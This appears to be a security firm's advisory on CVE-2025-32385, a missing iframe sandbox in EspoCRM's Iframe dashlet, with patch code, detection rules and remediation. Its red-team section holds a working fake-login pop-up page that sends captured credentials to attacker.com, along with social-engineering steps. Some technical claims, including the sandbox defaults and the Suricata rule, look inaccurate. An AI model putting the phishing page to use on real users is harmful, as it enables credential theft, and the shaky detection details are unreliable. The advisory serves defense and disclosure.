CVE-2025-32385

Executive Summary

CVE-2025-32385 is a medium-severity vulnerability in EspoCRM, an open-source Customer Relationship Management (CRM) software. The vulnerability resides in the "Iframe dashlet" feature, which allows users to embed external web pages within the CRM interface. The core issue is that the generated <iframe> element lacks the sandbox attribute. This omission enables the embedded remote page to execute pop-ups outside the iframe boundary and send postMessage events to the parent EspoCRM window.

While the CVSS score is 5.3 (Medium), the risk is amplified by the potential for social engineering. An attacker would need to trick a user with dashlet editing privileges into configuring a malicious URL. Once configured, any user viewing the dashboard could be exposed to phishing pop-ups that appear to originate from the legitimate EspoCRM domain. The missing sandbox attribute also allows the remote page to communicate with the parent frame, though EspoCRM does not natively process these messages, limiting the direct impact of that vector.

The vulnerability is fixed in EspoCRM version 9.0.5 by adding the sandbox attribute to the iframe, which restricts the embedded page's capabilities.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct code-level flaw in the EspoCRM application itself. The risk is primarily to the end-user organization deploying EspoCRM, not to the software supply chain.

CVSS Breakdown & Threat Level

• CVSS Score: 5.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Attack Vector (AV): Network - The attacker can host the malicious URL on any network-accessible server.
• Attack Complexity (AC): Low - No special conditions are required to exploit the missing sandbox attribute.
• Privileges Required (PR): None - The attacker does not need an account on the EspoCRM instance.
• User Interaction (UI): Required - The victim must either configure the malicious dashlet or view a dashboard containing it.
• Scope (S): Unchanged - The impact is confined to the user's browser session within the EspoCRM context.
• Confidentiality (C): None - No direct data exfiltration from the CRM.
• Integrity (I): Low - The attacker can alter the user's perception by displaying fake login forms or other deceptive content.
• Availability (A): None - No denial of service.

Threat Level: Medium. The requirement for user interaction (tricking a user into adding a malicious URL) significantly lowers the exploitability. However, once a malicious dashlet is in place, it can affect all users viewing that dashboard, making it a persistent phishing vector.

Deep Dive & Mechanics

The vulnerability is a classic case of missing iframe sandboxing. The EspoCRM "Iframe dashlet" is designed to allow users to embed external content, such as a company wiki or a support portal, directly into their CRM dashboard. The code responsible for rendering this dashlet creates an <iframe> element but does not include the sandbox attribute.

The sandbox attribute is a security mechanism that restricts what the embedded document can do. Without it, the embedded page has full access to:

• Pop-ups: It can call window.open() to create new browser windows or tabs. These pop-ups can be styled to look like EspoCRM login pages, tricking users into entering credentials.
• postMessage: It can send messages to the parent window using window.parent.postMessage(). While EspoCRM does not listen for these messages, a future plugin or custom code might, creating a potential cross-origin communication channel.
• Form Submission: It can submit forms to any destination.
• Script Execution: It can run arbitrary JavaScript, though it is already running in its own origin.

Attack Scenario:

1. Reconnaissance: An attacker identifies an EspoCRM instance (e.g., via Shodan dork http.title:"EspoCRM").
2. Social Engineering: The attacker tricks a user with "Edit Dashboard" permissions (e.g., an admin or manager) into adding a new Iframe dashlet. The attacker might pose as IT support and provide a URL like https://malicious.example.com/espocrm-login.
3. Exploitation: The victim adds the dashlet. Now, any user viewing that dashboard will see the iframe. The malicious page can detect the iframe context and immediately open a pop-up window that mimics the EspoCRM login page.
4. Credential Harvesting: The user, believing they have been logged out, enters their credentials into the fake pop-up. The attacker captures these credentials.
5. Persistence: The attacker can update the URL in the dashlet at any time, changing the phishing lure.

Vulnerable vs. Patched Code

The fix is straightforward: adding the sandbox attribute to the <iframe> element.

Vulnerable Code (Conceptual - EspoCRM source):

// In the dashlet rendering logic (e.g., client/src/views/dashlets/iframe.js)
// This is a simplified representation.
let iframe = document.createElement('iframe');
iframe.src = this.model.get('url');
// Missing: iframe.setAttribute('sandbox', 'allow-scripts allow-same-origin');
this.$el.append(iframe);

Patched Code (EspoCRM 9.0.5):

// In the dashlet rendering logic
let iframe = document.createElement('iframe');
iframe.src = this.model.get('url');
iframe.setAttribute('sandbox', 'allow-scripts allow-same-origin');
this.$el.append(iframe);

The sandbox attribute with allow-scripts allow-same-origin is a common safe default. It allows the embedded page to run scripts (necessary for most web apps) and access its own origin (for cookies, localStorage, etc.), but it prevents:

• Pop-ups (allow-popups is not included)
• Top-level navigation (allow-top-navigation is not included)
• Form submission (allow-forms is not included)
• Access to the parent window's postMessage (unless allow-same-origin is combined with allow-scripts and the origins match, which they won't for an external URL).

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A publicly accessible web server to host the malicious page.
• Knowledge of a target EspoCRM instance.
• Ability to trick a user with dashlet editing privileges.

Step 1: Create the Malicious Payload Create an HTML file on your server (e.g., phish.html):

<!DOCTYPE html>
<html>
<head>
    <title>EspoCRM</title>
    <style>
        body { font-family: Arial, sans-serif; background: #f4f4f4; }
        .popup { width: 400px; margin: 50px auto; background: white; padding: 20px; border: 1px solid #ccc; }
        input { width: 100%; padding: 10px; margin: 5px 0; }
        button { width: 100%; padding: 10px; background: #007bff; color: white; border: none; }
    </style>
</head>
<body>
    <script>
        // Immediately open a pop-up that mimics EspoCRM login
        window.onload = function() {
            let popup = window.open('', 'espocrm_login', 'width=500,height=400');
            if (popup) {
                popup.document.write(`
                    <html>
                    <head><title>EspoCRM - Login</title></head>
                    <body>
                        <div class="popup">
                            <h2>Session Expired</h2>
                            <p>Your session has expired. Please log in again.</p>
                            <form id="loginForm">
                                <input type="text" name="username" placeholder="Username" required><br>
                                <input type="password" name="password" placeholder="Password" required><br>
                                <button type="submit">Login</button>
                            </form>
                            <script>
                                document.getElementById('loginForm').onsubmit = function(e) {
                                    e.preventDefault();
                                    // Send credentials to attacker server
                                    fetch('https://attacker.com/steal', {
                                        method: 'POST',
                                        body: JSON.stringify({
                                            user: this.username.value,
                                            pass: this.password.value
                                        })
                                    });
                                    alert('Login failed. Please try again.');
                                };
                            <\/script>
                        </div>
                    </body>
                    </html>
                `);
            } else {
                // Fallback: display inline
                alert('Please allow pop-ups for this site.');
            }
        };
    </script>
</body>
</html>

Step 2: Host the Payload Upload the file to your web server (e.g., https://attacker.com/phish.html).

Step 3: Social Engineering Send a targeted email or message to an EspoCRM admin, claiming to be from IT support, asking them to add a new "Company Portal" dashlet with the URL https://attacker.com/phish.html.

Step 4: Credential Harvesting Once the admin adds the dashlet, any user viewing that dashboard will see the iframe. The malicious page will attempt to open a pop-up. If the user allows pop-ups, they will see a fake login form. When they submit, the credentials are sent to your server.

Blue Team (Defensive)

Detection:

1. Audit Dashlet Configurations: Regularly review all Iframe dashlets in the EspoCRM instance. Look for URLs that are not on the approved list of trusted domains.
2. Monitor Web Logs: Check web server logs for requests to unusual or suspicious external domains from the EspoCRM application.
3. User Awareness: Train users, especially those with dashboard editing permissions, to never add dashlets with URLs from untrusted sources.

Prevention:

1. Apply the Patch: Upgrade to EspoCRM 9.0.5 or later immediately.
2. Network Segmentation: If possible, restrict outbound web traffic from the EspoCRM server to only approved domains using a web proxy or firewall.
3. Content Security Policy (CSP): Implement a strict CSP header that restricts the sources from which iframes can be loaded. For example:

   Content-Security-Policy: frame-src 'self' https://trusted-domain.com;
   

   This would prevent the iframe from loading any URL not on the whitelist.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP/HTTPS requests from the EspoCRM server to unusual or unknown domains.
  • DNS queries for domains that are not part of the organization's normal operations.
• Host IOCs:
  • EspoCRM database entries in the dashlet table where type is Iframe and url points to an external, untrusted domain.
  • Browser history on client machines showing visits to the malicious URL.
• Behavioral IOCs:
  • Users reporting unexpected pop-up windows asking for login credentials.
  • Multiple failed login attempts from the same IP address shortly after a new dashlet is added.

Detection Engineering

YARA Rule

rule Detect_Missing_Iframe_Sandbox_EspoCRM {
    meta:
        description = "Detects EspoCRM JavaScript files that create iframes without the sandbox attribute"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-32385"
        severity = "medium"
    strings:
        $iframe_create = /createElement\(['"]iframe['"]\)/ nocase
        $sandbox_attr = /setAttribute\(['"]sandbox['"]/ nocase
        $src_attr = /\.src\s*=/ nocase
    condition:
        $iframe_create and $src_attr and not $sandbox_attr
}

Sigma Rule

title: EspoCRM Iframe Dashlet Without Sandbox Attribute
id: 7b8c9d0e-1f2a-3b4c-5d6e-7f8a9b0c1d2e
status: experimental
description: Detects the creation of an iframe dashlet in EspoCRM without the sandbox attribute, indicating potential exploitation of CVE-2025-32385.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-32385
logsource:
    product: espocrm
    service: application
detection:
    selection:
        EventID: 'dashlet.created'
        DashletType: 'Iframe'
        SandboxAttribute: 'false'
    condition: selection
falsepositives:
    - Custom development that intentionally omits sandbox for specific functionality (unlikely)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-32385 EspoCRM Iframe Dashlet Potential Phishing"; flow:to_server,established; content:"EspoCRM"; http_user_agent; content:"iframe"; http_client_body; pcre:"/createElement\(['\"]iframe['\"]\)/i"; sid:10000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade EspoCRM: The primary remediation is to upgrade to version 9.0.5 or later. This is the only official fix.
2. Audit Existing Dashlets: Immediately review all existing Iframe dashlets. Remove any that point to untrusted or unknown URLs.
3. Disable Iframe Dashlet (Temporary): If upgrading is not immediately possible, consider disabling the Iframe dashlet feature entirely. This can be done by removing the dashlet from the available dashlets list in the EspoCRM administration panel.

Long-Term Mitigations:

1. Implement a URL Whitelist: Modify the EspoCRM code (or use a plugin) to only allow iframe URLs from a pre-approved list of domains.
2. Web Application Firewall (WAF): Deploy a WAF rule to inspect requests that create or update dashlets, blocking any that contain iframe URLs pointing to external domains.
3. Regular Security Audits: Conduct periodic code reviews and security scans of the EspoCRM instance.
4. User Training: Educate all users, especially administrators, about the risks of adding untrusted content to dashboards.

Valters IT